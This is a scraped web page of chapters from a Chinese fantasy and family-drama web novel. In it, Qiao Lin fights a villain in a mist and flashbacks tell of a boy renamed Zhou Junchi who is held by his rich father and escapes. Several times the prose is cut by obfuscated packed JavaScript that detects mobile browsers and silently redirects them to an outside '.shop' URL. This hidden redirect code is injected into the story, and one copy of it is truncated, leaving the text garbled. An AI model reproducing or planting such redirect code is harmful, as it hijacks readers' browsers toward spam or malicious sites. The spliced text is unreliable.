妈妈此刻似乎看懂了乔林的心，走上前将乔林拥入怀中。妈妈的怀抱真柔软，香喷喷的，是妈妈的味道，好闻的妈妈的味道。 乔林想起小时候特别爱闻妈妈的衣服，尤其是妈妈穿过的睡衣，她能抱着一直闻。 “妈妈，我好想你。” “这些年妈妈不在你身边，你受苦了。” 本来已经忍住的眼泪，听到这句话就再也收不住了，像瀑布一样，连带着鼻涕一起流了下来。 “爸爸不爱我了，阿姨对我不好，他们又有了弟弟，他们只爱弟弟，不给我学费，我自己赚钱，我自己赚钱读完了研究生。” “我的宝贝太棒了。”妈妈摸了摸乔林的头。 “可是我还没来得及赚大钱，就早早地死了……”乔林的声音暗了下来，把头靠在了妈妈的肩上。 “没关系，只要我们能在一起就行。”妈妈轻轻拍乔林的脑袋，好像她还是那个靠在妈妈怀里的小女孩。 “你知道吗？我现在是周骏驰的秘书了，他真的很厉害，跟着他虽然很累，但是挺开心的，还有谢必安，话痨一个……妈妈你见过他们吗？你死的时候应该见过谢必安吧？” “妈妈记不得了，以后你再也不用辛苦工作了，你可以每天和妈妈在一起，好吗？” “可是他刚习惯了我，再换别人……” “别说他了，喝点汤吧。” 妈妈拿碗开始盛汤。 “不行，我不能一直在这儿，周骏驰还在等着我。” “傻孩子，他要是等着你为什么还没有出现？” “是啊，他为什么还没有出现？他一定是被困住了，我要去找他，妈妈你在这儿等我，我找到他我们一起来接你。” “不许去！”妈妈将汤碗狠狠地摔在了桌子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔林手里拿的是一把PP-19“野牛”冲锋枪，当然乔林并不知道这把枪的具体型号，她只想到要一把轻便的冲锋枪。 冰凉的枪身成了她此刻唯一能依赖的安全感。 “就这？”赵红哈哈大笑，瞬间消失在了乔林的视野里。 而就在乔林眨眼的一瞬间，赵红的一条腿带着破空的风鸣声已经到了眼前。 别说躲避，甚至连眨眼的时间都没给她。 剧痛瞬间从右肩炸开，乔林像被重锤砸中，整个人被踢得趴在了地上，受伤膝盖上的痛楚让她几近昏厥，怀里的“野牛”冲锋枪也在冲击下险些脱手。 乔林拼尽全力攥紧枪身，指节因用力而泛白，喉间溢出一声压抑的闷哼。 血腥味…… 她再次挣扎着起身，呸的吐了一口，带血的唾沫砸在地上血红一片。 “怎么样？现在求饶我还能饶你一命。” “你们反派是经过什么统一培训吗？就这么几句车轱辘话耳朵都听出茧子了。” 乔林端起手里的“野牛”对准赵红，扣动了扳机。 “哒哒哒”的枪声破空而出，密集的子弹如暴雨般朝着赵红倾泻。 乔林纤细的手臂因为枪械后坐力和疼痛的双重加持止不住的颤抖，只能瞄个大概，但准头对于此时的乔林来说已经并不重要了。 她的额角瞬间渗出细密的冷汗，视线却因极致的专注而愈发锐利，半点没有退缩之意。 “太爽了！”她一边颤抖一边大喊。 赵红被她的无畏惹恼了。 “想死就给你个痛快！” 赵红再一次消失了。 紧接着一张如炒锅一般大的血盆大口出现在的乔林的眼前，腥臭的气息迎面扑来。 啊，头要被啃掉了，全尸也没留一个，乔林悲伤地想。 须臾间，一道金光穿破乔林的西装，向赵红刺去。 “锁子甲怎么会穿在你身上？” 赵红大惊，捂住被金光穿透的胸口，再次消失在了雾里。 乔林摸了摸自己身上，还活着？她又把手伸进西装里，摸了摸里面那又薄又破的锁子甲，看来谢必安没有骗我，这还真是一件宝物啊。 得尽快找到他们两个，离开这里。 乔林拖着一条断腿，一瘸一拐地开始寻找起其他二人的身影。 向前走了约莫50米，隐隐约约有个男人的背影被一团黑色的雾气包围着，看身形想必不是周骏驰就是谢必安，乔林快步朝那边走去。 17. 记忆中的红莲之二 “妈妈也在吗？”安跑跑的语气里是抑制不住的兴奋，爸爸和妈妈都在身边，还是在这样的大房子里，这是他幻想都不敢奢望的。 “少爷，老爷还在等您。”男人并没有正面回答他的问题，但安跑跑的年龄，还不足以听懂其中的深意。 他很快地从床上蹿了下来，穿好衣服，换好鞋子，准备迎接新的生活。 穿过一间又一间的房子，进了电梯又出了电梯，又穿过一间又一间的屋子，安跑跑终于见到了男人口中的父亲。 这似乎是一间书房，一间宽敞的书房，两面被书架包围的墙和一张大大的书桌，书桌的正前方还摆着一套看起来就非常昂贵的皮沙发，一个年轻人正坐在沙发的正中央。 他看起来很瘦弱，剪裁精良的黑色西装衬得清瘦的身形愈发单薄，肩线利落却撑不起太多衣料，反倒让那抹冷白的肤色从衬衫领口露出来。 安跑跑和他四目相对，他的眼睛像一弯乌黑的死水，透着让人不寒而栗的阴冷。 安跑跑低下了头，只敢用眼角的余光观察着屋子里的一切，搜寻着妈妈的身影。 “老爷，少爷带来了。”那个带他来的中年男人说完话便毕恭毕敬地站到了“老爷”的身后。 看起来很年轻嘛，根本就不是什么“老爷”嘛，还以为是什么老头子。 “记住，你以后的名字是周骏驰。”老爷缓缓开口，他说话时气息很轻，却字字清晰，带着不容置喙的掌控欲，轻轻缠绕住了安跑跑的脖颈。 安跑跑感觉到自己的手指在发抖，仅仅是听了他的话便因恐惧而颤抖，不要抖了！没出息！安跑跑攥紧了拳头。 “……不……我叫安跑跑……”这句话几乎是从他的牙缝里挤出来的，“我妈妈在哪儿？” “你妈妈？已经走了。” “走了？”安跑跑顾不上害怕，瞪大了眼睛死死地盯着眼前这个人。 “对，走了。”他轻飘飘地说着，上扬的嘴角上还带着几分戏谑。 “不！不可能！你们肯定是把妈妈藏起来了！” “这有什么不可能的，你妈妈，不要你了。”他冲着安跑跑撇了撇嘴。 安跑跑痛苦得几乎失去了理智，他朝着那个所谓的父亲跑了过去，一定是他把妈妈藏起来了，他要救他的妈妈。 但是刚跑了没两步，他便不再前进，双脚也逐渐地腾空而起——他被人架了起来。 “给他看。”老爷似乎对他的哭喊感到有些不耐烦，轻轻地抬了抬下巴。 中年男人拿出遥控器，一张幕布从书柜的上方缓缓降下，接着屏幕亮起，一袭红裙的妈妈出现在了屏幕上，是这间书房的监控画面。 “儿子已经给你了，我的钱呢？”画面中的安心一脸贪婪地看着老爷。 “你不再见他最后一面了吗？” “我已经一个人带了他这么多年了，早就厌烦了，现在你也该尽到做父亲的责任了。”安心冷哼一声。 “你对他难道没有一点感情？” “感情？不过是一个拖油瓶，要不是因为他爸是个有钱人，我才不会养他这么多年，现在也该他回报回报我了……”安心对着老爷甜甜一笑，一双灵动的美目尽显妩媚，“说好的一千万，什么时候能给我？” 接下来屏幕变成了一片漆黑，安跑跑的眼前也一片漆黑。 “带骏驰少爷回屋休息。”这是安跑跑晕倒前听到的最后一句话。 沙发老爷一只手托着腮，饶有兴致地看着被抱走的安跑跑，直到书房的门被再度关上。 接下来的日子里，安跑跑哭累了便在地毯上睡，睡醒了便接着哭，餐盘端进来就砸碎，几天里水米未进。 可无论怎么他对着房门哭喊和踢打，除了每天按时送餐的人，恐怕连一只苍蝇也再没进到这个房间。 直到他再也撑不住，昏了过去。 安跑跑迷迷糊糊地睁开眼，首先看到的是输液的吊瓶，吊瓶旁边是恭敬地站着的中年男人，这场景几乎和他刚来这里时没什么区别。 他多希望这是一场噩梦，醒来时，妈妈正在他的身边。 “我要找妈妈……我要亲自去找她问清楚……”安跑跑沙哑着嗓子说道。 “骏驰少爷，你这是何苦呢……”看着眼前这个日渐消瘦的小人儿，中年男人似乎也有些不忍。 “我不是骏驰少爷……我是安跑跑……”说着，眼泪再度顺着眼角流了下来。 “难道你这样哭闹，就能再见到她了吗？” 他的话像一颗子弹，正中安跑跑的胸口，血肉模糊的同时，他的脑子也因疼痛逐渐清明了起来。 是啊，看来无论如何他们也不会让我去见她的，只有等自己有了能力，才能从这个房子里逃出去，找到妈妈当面问清楚。 周骏驰的眼睛逐渐亮了起来。 “给我喝粥。” “好的少爷。” 从那天起，周骏驰像是变了一个人，一开始的几天，是在自己的房间里，按时起床吃饭，吃完了便开始翻看书柜上的书。 门口的人似乎也得到了授意，不再像防贼似的防着他，他得到了这个房子的使用权，但周骏驰知道，这只是开始，这个房子里有无数双他看不到的眼睛正在盯着自己。 好在他只是个六岁的小孩，即便是被盯着，对方也并没有太过于上心。 一开始他只是在书房附近打转，后来他的活动范围逐渐扩大，各个楼层都能见到他的身影。 每个人见到他都恭敬地喊他少爷，他并不理会，他的脑袋里只有一件事，会不会妈妈也被关在了这个监狱一样的大宅子里。 但随着时间一天天过去，周骏驰并没有什么新的发现，令他奇怪的是，除了那天，他再没见过老爷的身影，这里不是他的家吗？为何他再没出现过？当然，不出现更好。 经过一段时间的寻觅，这座宅子的上上下下里里外外已经被他翻了个遍，连一张纸他都没有放过，但始终没有一丝线索，恐怕妈妈没有在这座监狱里，还得要出去才行。 “我要见老爷。”周骏驰对李管家——就是那个中年男人说道。 “少爷，那是您的父亲。” “管他是谁，我要见他。” “为什么事？你先和我说，老爷的时间很宝贵。” “和你说你你也做不了主，我要和他当面说。” “好吧……” 第二天早餐上，周骏驰如愿见到了周震海。 长长的桌子上，周骏驰坐在这头，周震海坐在另一头，餐桌变也成了一条剑道，两人用目光各执一剑，目不转睛地盯着对方。 “有什么事？”周震海先开口。 “我想上学。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136031|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我给你请老师来家里。” “我要上学。” “……”周震海沉默了片刻，“好吧，但不要给我丢人。” 周骏驰显然没有想到这件事这么容易就办成了，他强压着心中的喜悦，佯装淡定，吃起了面前的汉堡。 周震海用叉子在面前的食物上翻动了两下，便准备起身离开。 “妈妈说不能浪费食物。” “那是因为你们太穷了。”虽然嘴上这么说着，周震海还是坐了下来，抬抬手，一份新的早饭再次被端了上来。 这次他还是只吃了两口，留下了多半盘。 而周骏驰早就风卷残云地吃完了饭，一溜烟跑回了房间，为即将到来的自由生活做准备。 第二天一早，李管家径直拉开了房间的窗帘。 “怎么这么早？”周骏驰揉揉眼睛，睡眼惺忪地问道。 “你不是和老爷说想要上学吗？”李管家一边回答着问话，一边利落地掏出了今天要穿的校服。 “这么快？”周骏驰瞪大了眼睛。 “做事情要讲究效率，既然决定去做，就要尽快去做。” 周骏驰觉得李管家说的话还挺有道理的，一个鲤鱼打挺从床上翻下来。 不一会儿，周骏驰便收拾妥当准备出门，此时，他小小的脑袋里装了一百种逃跑的计划。 “学校在哪里？有地图吗？”周骏驰装模作样地问道。 李管家笑而不语，轻轻地拍了拍手。 佣人上前拉开了平日里紧闭的“监狱”大门，门口停着一辆黑色轿车，她的姿态就像一只正在小憩的黑色猎豹，威严又机敏，尽管年幼的周骏驰对车并不了解，但这车还是能一眼就看出非常的昂贵。 车后站着一位身着笔挺西装，戴着黑色口罩的高大男人，见到房门打开，便迅速上前拉开了车门。 “少爷请上车。” 啊……这……糟糕啊…… “我不需要你们送。” “少爷请上车。”那个男人像是没有听到一般，重复着刚才的话。 哎，只能见招拆招了，他总不能跟着我一起上学吧，学校那么大，有的是机会逃跑。 这学校，和之前的学校还真不一样，不光是之前的学校，和他见过的所有学校都不一样。大到楼、门、操场，小到桌椅板凳。 周骏驰笔直地坐在桌前，双手乖乖地背在身后，和周围状态散漫的其他人显得格格不入，他们一边打量着周骏驰一边窃窃私语着，不时发出嘻嘻哈哈的笑声。 之所以不敢大声嘲笑，恐怕还是因为角落里的西装男。 是的，这个男人真的跟到了教室。 周骏驰看出了同学们的不友善，但他倒是不怎么在乎，毕竟以前频繁转学，什么阵仗没见识过，这种窃窃私语真的算是小意思了。 他的注意力全在教室后面的男人身上。 哼，我就不信你不吃饭不上厕所。 上课铃声响起。 老师们显然已经被打过招呼，都对教室后面的人熟视无睹。 直到第三节英语课，一个年轻的男老师走进教室。 “我不管你是什么皇亲国戚，在我的教室里没有特权，后面的那位先生，请你出去。” 所有人的眼神在老师与周骏驰以及教室后面的人身上扫来扫去。 18. 记忆中得红莲之三 但教室后面的人就像没有听见一样，一言不发，站得笔直。或许这个人是聋子？周骏驰暗暗思忖，要不怎么谁的话也不回答？ 见对面无视自己，老师的脸涨得通红。 “你再不出去，我要叫保安了！” 三分钟后，保安和大腹便便的秃顶副校长一并进了教室。 “张老师，不是已经和你说过了吗？”副校长急得脑门直冒汗，赶紧从口袋里掏出质地精良的手绢擦了擦汗。 “我也明确表示过我不接受。” “哎呀，你要我怎么和你说呢，你出来。” 副校长将张老师拉到走廊，周骏驰的座位正好靠近窗户，他好奇地向外张望。 虽然听不清具体说什么，但是周骏驰从口型认出了三个字：“周震海”。 他的名字一出现，张老师的脸上先是震惊，随即又浮现出慌乱，最后定格在一阵红一阵白上，蔫头耷脑脑地走进了教室。 “同学们，开始上课。” 经过周骏驰多日的观察，这些保镖不止一个，平日里最常跟着他的是1号，但是当1号去解决生理需求的时候，2号就会来换班，两人无缝衔接。 两个人的监视几乎是没有死角的，别说吃饭午睡喝水，就算是上厕所，1号都会在隔间门口站着。 周骏驰也没有心急，他知道这事情需要从长计议，充足的准备以及，一个机会。 是的，一个机会。 好在1号和2号虽然会无死角地监视他，但是并不会干涉他的自由，这倒是让周骏驰松了一口气。 从那天起，周骏驰借着熟悉校园的由头，开始漫无目的的在学校里溜达，这里摸摸，那里瞧瞧。 “哇，这是什么机器？我怎么从来没见过？” “这个东西是干什么的？” “高尔夫球场？什么是高尔夫？” 周骏驰知道1号肯定不会回答他的问题，但是他也没有停止发问，直到他逐渐地从1号的脸上感受到了明显的不耐烦。 周骏驰暗暗地松了口气，他还真怕对方一直毫无反应。嗯，这很好，说明他是人，不是一台机器，是人就有破绽。 他就这样一边转悠着，一边将所见的一草一木一砖一瓦牢牢记在心里。 “好了宝贝，我知道了……” “这件事我们先不提……” “你想要什么？给你买你最喜欢的包行不行宝贝？” …… 这天，周骏驰依旧是漫无目的的在学校里溜达，楼梯口传来的油腻的声音让他起了一身的鸡皮疙瘩，他赶紧找了个隐蔽的地方躲了起来，1号在他身边也跟着竖起了耳朵。 这声音太熟悉了。 周骏驰静静地听着，直到声音的主人挂掉电话，从楼梯口迈着笨拙的步伐走了出去，边走边用手绢擦着额头上冒出的汗珠。 “李校长在给谁打电话？”周骏驰小声问道。 “小孩子不要管那么多。”这次1号倒是破天荒地搭话了，虽然并没有正面回答他的问题，但也是两人之间不小的进步。 上课铃响了，周骏驰赶紧起身朝教室跑去，回到自己座位上时，不小心将旁边同学书桌上的东西碰掉了一地。 “喂，没长眼睛啊，乡巴佬！” 座位上又高又壮的男生站起身，一把揪住了周骏驰的衣领，从眼睛里冒出的火气来看，他可能不爽周骏驰不止一两天了。 “别了大毛，他可是周震海的儿子。”一个瘦猴一样的男生上来拉架，忌惮地看了看教室后面站着的1号。 听到周震海的名字，大毛的瞳孔轻轻颤抖了一下，但他见后面的1号并没有做出什么反应，心里也有了几分盘算。 “儿子？不过是私生子而已，他妈指不定是哪里的头牌。” 周骏驰一拳打在了大毛的脸上，大毛甚至没来得及做出震惊的表情，就重重地摔在了地上。 这还不算完，周骏驰灵活地骑在了大毛的身上，拳头像雨点般的砸向身下的大毛。 但是周骏驰的先发制人在绝对的力量优势面前，也并没有占到太多便宜，大毛硬是迎着拳头将周骏驰推翻在地。 两人就这样扭打在了一起，直到老师走进教室。 “你们两个干什么？给我站起来！”老师一把拉起了骑在周骏驰身上的大毛，“还有没有一点学生的样子？下课后跟我一起去校长办公室。” 你要说以前的安跑跑确实是德智体美劳各项都满分的优秀学生，尊师重道，团结同学，一方面源自本身的修养，另一方面他也理解妈妈工作的辛苦，不想因为自己在学校的表现给妈妈添麻烦。 可是现在，你要说请家长，周骏驰举起双手双脚表示赞同，他倒要看看，一个这样顽劣的儿子，他要怎么应付。 从那天起，大毛和周骏驰的梁子就这样结下了，两人成了校长办公室的常客，大毛的爸爸虽然经常来，但是周震海却一次都没有出现过。 可无论校长还是老师甚至是大毛的爸爸对这件事从来没有过任何异议。 周骏驰每天回家的第一件事，就是钻进家里的健身房，对着沙包毫无章法地打来打去。 “你想学拳击？”李管家问道。 “学拳击能变强吗？” “变强的方法有很多。”李管家回答。 “那我都要学。” 第二天的健身房里，除了周骏驰，又多了一个健壮的身影。 从那天起，虽然去校长办公室的次数多了，但是周骏驰脸上的伤倒是越来越少了。 时间到了每个月的召开全校大会的日子，周骏驰将手机上最后一条短信编辑完成，点了发送，随后关机，将手机塞在了桌斗里。 周骏驰因为紧张而轻轻颤抖着，他深吸一口气，将双手攥在一起，对抗着内心的紧张。 终于熬到了第二节课下课的铃声响起，他如往常一般，将自己的桌面收拾整洁，挨到最后一个走出教室。 他们的教室在二楼，刚一出门就听到了一声女人的怒吼从一楼传来，“李有才你给我说清楚！” 他们教室的正下方，就是李校长的办公室，而李有才正是他的全名。 听到这声怒吼的人，无不探头向下张望，走廊里很快站满了围观群众。但是怒吼声止步于校长办公室的门内，毕竟还隔着一段距离，只能听到女人声音提高时的只言片语。 什么“那个女人”、“全靠我家”、“你个废物”……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136032|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 每一个词都敲击着人们好奇的神经。 见此情景，周骏驰赶忙朝一楼跑去，试图站在一个观战的好位置。 走下最后一阶台阶，可以看到，校长办公室的窗前已经开始上客了，有的学生甚至揣着瓜子零食，边看边给旁边的人分享着。 周骏驰和1号一起挤进人堆。 擦得一尘不染的窗户此时就像电视的外框，框住了屋里的一出好戏。 一位身穿华服的中年女士，揪着平时趾高气扬的李校长的耳朵，原本每一根都有自己站位的头发，也因为耳朵上的疼痛而放弃了排队，连同冒出的冷汗一起趴在了李校长锃光瓦亮的大脑门上。 “你给我把那个狐狸精藏哪儿了？” “你以为当了个破校长就能无法无天了？别忘了这个职位是谁给你的？！” “我能让你当校长，也能让你们这对狗男女一起去要饭！” …… 节目的高潮此起彼伏，人群中不时发出一阵阵惊呼，这个李校长平日里净是捧高踩低、媚上欺下，今天他倒了霉，大家自然是喜闻乐见。 1号被窗户里的精彩节目吸引了目光，正当他回过神来时，全身的冷汗也瞬间冒了出来。 他的身边挤满了穿着一样衣服差不多大的学生，但四下看去，哪一个也不是周骏驰，站在观战的最佳席位，人群都在朝着他的方向涌动。 即便是有着一身的力气，也难以与汹涌的人群抗衡，他赶紧拨通了2号的电话。 而此时的周骏驰，早已经从楼道里原本的垃圾通道钻到了教学楼的后方，那是一片花池，他从里面钻了出来，手被满池的月季划出了血，但他像是感觉不到一般。 他要以最快的速度爬到操场的另一边，那里有一个狗洞，大小刚好够他钻过去。 洞外是一条小路，周骏驰灰头土脸地往路上跑着，他身后有声音正在朝他靠近，他来不及回头，也没有时间回头，能跑就跑了，被抓到了就下次再跑。 只是要是这次被抓住了，恐怕对他的监视就会再上一个难度。 “喂，小孩儿！” 身后响起一个女人的声音，周骏驰开始加速。 “小孩儿！别跑了！你东西掉了！” 不是老爷的人？ 周骏驰慢慢停下了脚步，只见一个瘦弱的女人吃力蹬着自行车朝他骑来。 直到她骑到身边，周骏驰才发现她如此吃力的原因——自行车的后座上，坐着一个扎着小辫子小脸红扑扑像年画娃娃一样的胖丫头。 “给哥哥。”女人喘着气对后车座上的女孩说。 女孩伸出藕节一样的胖胳膊，把他的笔袋递了过来。 周骏驰出了一身冷汗，大意了，这个笔袋里是他的全部家当，要是丢了可就麻烦了。 “谢谢您！”周骏驰接过笔袋，冲着二人鞠了个躬，准备继续跑路。 “你跑什么？有人追你吗？”女人看着汗涔涔灰扑扑的周骏驰好奇地问。 周骏驰的脑子里一瞬间闪过无数种回答，但无论哪种，都不能是实话。 见周骏驰不说话，女人的眼神里闪过一丝疑惑，他又看了看空无一人的小路，似乎想找到周骏驰奔跑的原因。 19. 记忆中的红莲之四 “没、没有，我和妈妈走散了。” “那可怎么办？我带你去警察局吧？” “不用，我和妈妈说好在市中心的银河商场集合。”周骏驰随口胡诌道，藏木于林、藏水于海，市中心是人最多的地方，想要先甩掉跟踪的人，去那儿准没错。 “我们正好也要去那里，我送你过去吧？你还太小了，一个人太危险了。” “可是您……”周骏驰打量了一下女人纤细的胳膊腿和后座上白胖的年画娃娃。 “没问题的，别看阿姨瘦，阿姨有的是力气。”说着，女人比划了一下自己的肱二头肌。 目前也没有什么更好的选择了，自行车确实要比自己跑着更快一些，也更不容易引起注意。 毕竟一个在马路上全速奔跑的小孩，也确实扎眼了一些。 “那麻烦您了！”周骏驰再次鞠了一躬。 于是，一辆载着三个人的破旧自行车，就吱吱呀呀、晃晃悠悠地朝着市中心进发了。 “你叫什么名字？”阿姨边骑车边有一搭没一搭地和周骏驰聊着天。 “我叫跑跑。” “泡泡吗？”阿姨又问了一遍。 “不是，是跑步的跑，三声。” “泡泡哥哥。”后面的年画娃娃开口了。 “哦，跑跑，那你几岁了呀？” “七岁，上二年级了。” “那你个子还蛮高哩……前面那栋大楼就是银河商场了。” 女人低头看趴坐在前梁上的男孩，他的眼神里满是迷茫，再加上他的外地口音，显然是没有来过这里的。 “阿姨和小妹妹陪你一起找你妈妈吧？” 女人摸着周骏驰头温柔地说，或许是女人身上母性让周骏驰想到了妈妈，他的眼睛有些发酸，声音也有了些许哽咽。 “阿姨，我……” 周骏驰想开口，却又不知道要怎么开口，这段时间的经历对于他来说几乎是颠覆性的，他注定不再是一个无忧无虑的孩子。 要不要说实话？要从哪里说起？ 目前为止，周震海的名字几乎成功地吓到了每一个人，是的，他是目前国内数一数二的富豪，也有传言说他是什么“黑白两道通吃。” 具体这句话是什么意思，以周骏驰的年龄还并不能真正地理解。毕竟在这之前，他从电视上获取的信息还仅停留在每天晚上七点半的动画片。 “没关系，不想说也没关系，阿姨去给你们两个一人买一个冰激凌好不好？跑跑喜欢吃什么口味的？” “妞妞想吃草莓味！”年画娃娃本来已经有点昏昏欲睡，可一听到冰激凌三个字又立马精神了起来。 三个人坐在冷饮店的门口，跑跑和妞妞一人拿着一个冰激凌，妞妞的是粉红色的，跑跑的是乳白色的。 那个瘦弱的女人坐在两人中间，一脸笑意地看着大口吃着冰激凌的女儿。 “阿姨，你吃我的吧，我还没吃呢。”见阿姨空着手，跑跑也不好意思吃了。 “你吃吧，阿姨是因为身体不好，吃不了凉的。” 嗯，这个理由倒确实可信，周骏驰也像妞妞一样，大口地吃起了冰激凌。 美味的冰激凌不仅被妞妞吃进了肚子，也顺便让她的小手和脸蛋一并大饱口福，但是阿姨并没有责怪她，只是一脸宠溺的从口袋里掏出一块洗得发白，但是看起来非常干净柔软的手绢，为女儿轻轻地擦拭着身上的汤汁。 看到这一幕，周骏驰的心里涌上一阵酸楚，同时也在他的心里敲响了一记警钟。 周震海是个厉害的人，万一给这对母女的生活造成麻烦可怎么办。 “阿姨，”周骏驰鼓起勇气，“我想，我的事情很复杂……” 他将这段时间的经历一五一十地告诉了眼前这个甚至连名字都不知道的陌生女人。 随着周骏驰的叙述，女人的脸同那些其他听到周震海名字的人一般，逐渐阴沉了下来。 “好了，我走了阿姨，如果有人找到你，可以的话，就告诉他们没见过我就好。” “你要去哪儿？”阿姨似乎没有想到会是这个答案，她的眼里有如释重负的轻松，也有对周骏驰的担忧。 “去H市，我和妈妈走散的地方。” “那么远你怎么去？” “坐火车。” “妈妈，我也要坐火车！”妞妞抓着妈妈的衣角说道。 她看了看身边的女儿，又看了看比女儿大不了几岁的周骏驰。 “这样吧，”阿姨也像是下定了某种决心，“这儿离火车站不远，可以走条小路，你不认识，我送你过去。” “真的吗？”周骏驰的眼睛瞬间亮了。 “当然，希望你早点找到你的妈妈，”说完，她踢开了自行车的脚撑子，又拍了拍后座，“上来吧。” 比起来时的速度，这去往火车站的路程明显提了速，这辆除了车铃铛不响哪儿哪儿都响的自行车灵活地在红砖铺成的小路上，一路高歌。周骏驰的心也跟着起伏的路面一并上下颠簸着。 “就快到了。” 周骏驰抬头，看到了火车站的棚顶。 可就在车子转过前面的路口后，周骏驰的背后再一次地传来一阵令人发寒的被审视的阴冷感，紧接着就是那股熟悉的潮湿的味道。 就和在H市时一样的感觉。 “阿姨，停车吧。” “就快到了，我把你送到吧。” “不用了，阿姨，我走不了了……” 说话间，一辆黑色轿车，缓缓地驶入了三人的视线，在距离他们约二十米处停了下来，车窗缓缓摇下，车厢内周震海慵懒地靠在真皮座椅里似乎是在闭目养神。 黑色轿车后紧跟着一辆越野车，几个和1号一样穿西装的男人迅速地下了车。 周骏驰从自行车的前杠上跳下来，他本想对阿姨说声谢谢，但想了想，不说更好。 正当他打算朝前走时，书包却被死死地拽住了。 他惊讶地回过头去，是妞妞。 “泡泡哥哥别走，那是坏人。” 周骏驰捏了捏妞妞肉嘟嘟的脸。 “有机会哥哥请你吃草莓味的冰激凌。” 说完他拽开了妞妞的手，朝黑色轿车走去，身后传来妞妞号啕大哭的声音。 “你倒是很识时务。”周震海看上去有些累了，甚至连周骏驰上车都没有睁开眼。 “是我骗那个阿姨我被拐卖了，她什么也不知道，你不要为难她们。” “你用什么筹码和我谈判？” 车窗外，穿西装的人，正在朝着母女俩靠近，阿姨警惕地看着他们，推着车子一步步后退。 “我自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136033|196284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你以为你很重要？”周震海闭着眼睛笑出了声。 “如果我不重要，你又何苦费劲找我？”周骏驰眼睛一眨不眨地盯着周震海。 他的回答倒是让周震海睁开了眼睛，端详起眼前这个像小兽一般的男孩。 “让她们走吧。” 穿西装的男人收到指示，转身退了回去。见威胁消除了，阿姨也赶紧骑上车，带着妞妞扬长而去。 回去的路上天色已经逐渐黑了下来，窗外的霓虹让车内忽明忽暗，周震海再次闭上了眼睛。 而周骏驰则开始在心里酝酿起下一次的逃跑计划。 “你还想跑？”周震海缓缓开口。 周骏驰心中一激灵，难道他会读心术？ “你跑不了的，我劝你不要白费功夫。”没等周骏驰想好该怎么回答，周震海再次开口了。 “我只是想和妈妈再见一面，我、我求你了。”周骏驰的声音在颤抖，他咬紧后牙，不让眼泪掉下来。 “不要求别人。”周震海的声音陡得严厉了起来。 “我一定会见到妈妈的。”周震海吓退了他的最终一点幻想，看来除了和他斗争到底，再没有别的路可走了。 听到他这么说，周震海的表情反倒是舒缓了些，他缓缓地说道：“别想了，你见不到她了。” 车再次驶入“监狱”幽深的院门。 第二天一早，周骏驰一如既往地坐在餐厅吃早餐，电视上播放着早间新闻。 自打住进这里，再也没人限制他看电视，但是他也没再看过之前他最喜欢的动画片，反倒是新闻节目他一个也不会错过。 这是他了解周震海的一个重要途径——经济板块常有关于他的报道。 “昨日晚间22时许，本市一栋超高层建筑发生一起人员坠亡事件。一名身着红衣的女性从该建筑高处坠落，相关情况引发社会关注。 事件发生后，辖区公安、急救等部门迅速赶赴现场处置。急救人员到场后，经检查确认该女子已无生命体征。 经初步调查，已排除该女子系他杀的可能性。目前，事件具体原因仍在进一步调查中，相关后续情况警方将依法依规对外通报。 警方提醒，生命宝贵，切勿因一时困境采取极端行为。如遇生活难题，可及时向亲友、社区或相关部门求助。” 周骏驰瞟了眼电视上的画面，一瞬间刚刚吃进胃里的东西似乎变成了沉甸甸的冰块，将他的五脏六腑向下拉去。 他赶紧用手捂住嘴，却还是没有捂住涌上来的呕吐物。 胃里、鼻腔里的刺痛感代替了刚才的寒冷，他的眼泪也跟着一并涌了出来。 他挣扎着撑起身体看向电视，看向视频画面里的红衣女人，看向安心。 他一眼就看出了，那就是安心。 周骏驰眼前一黑，晕了过去。 他仿佛置身于一汪温暖的海水中，四周没有一丝光亮，他觉得很困，很疲惫，想接着睡下去，却听到有人在焦急地叫她的名 字。 “周骏驰……周骏驰……” 他太困了，但这恼人的声音却一直在他的脑袋里回响。就在他要再一次睡过去的时候，黑暗中亮起了一束光，随着光的亮起，一股让人熟悉又心安的香味也随之飘来。 直到周骏驰再次睁开了眼睛。 20. 初吻 黑雾如同给那人穿上了一件铠甲，紧密得围绕着其周身，又如同警犬般上下翻腾在周遭试探。 直到乔林走近些，才分辨出站着的人是周骏驰。 透过黑雾，她看到周骏驰那双本就深沉的眸子，此时犹如深渊一般幽暗又死气沉沉。 乔林试探性地用手指轻轻地触碰了一下黑雾。 黑雾避开了她的手指，在周骏驰的胸口让出了一块小小空地。 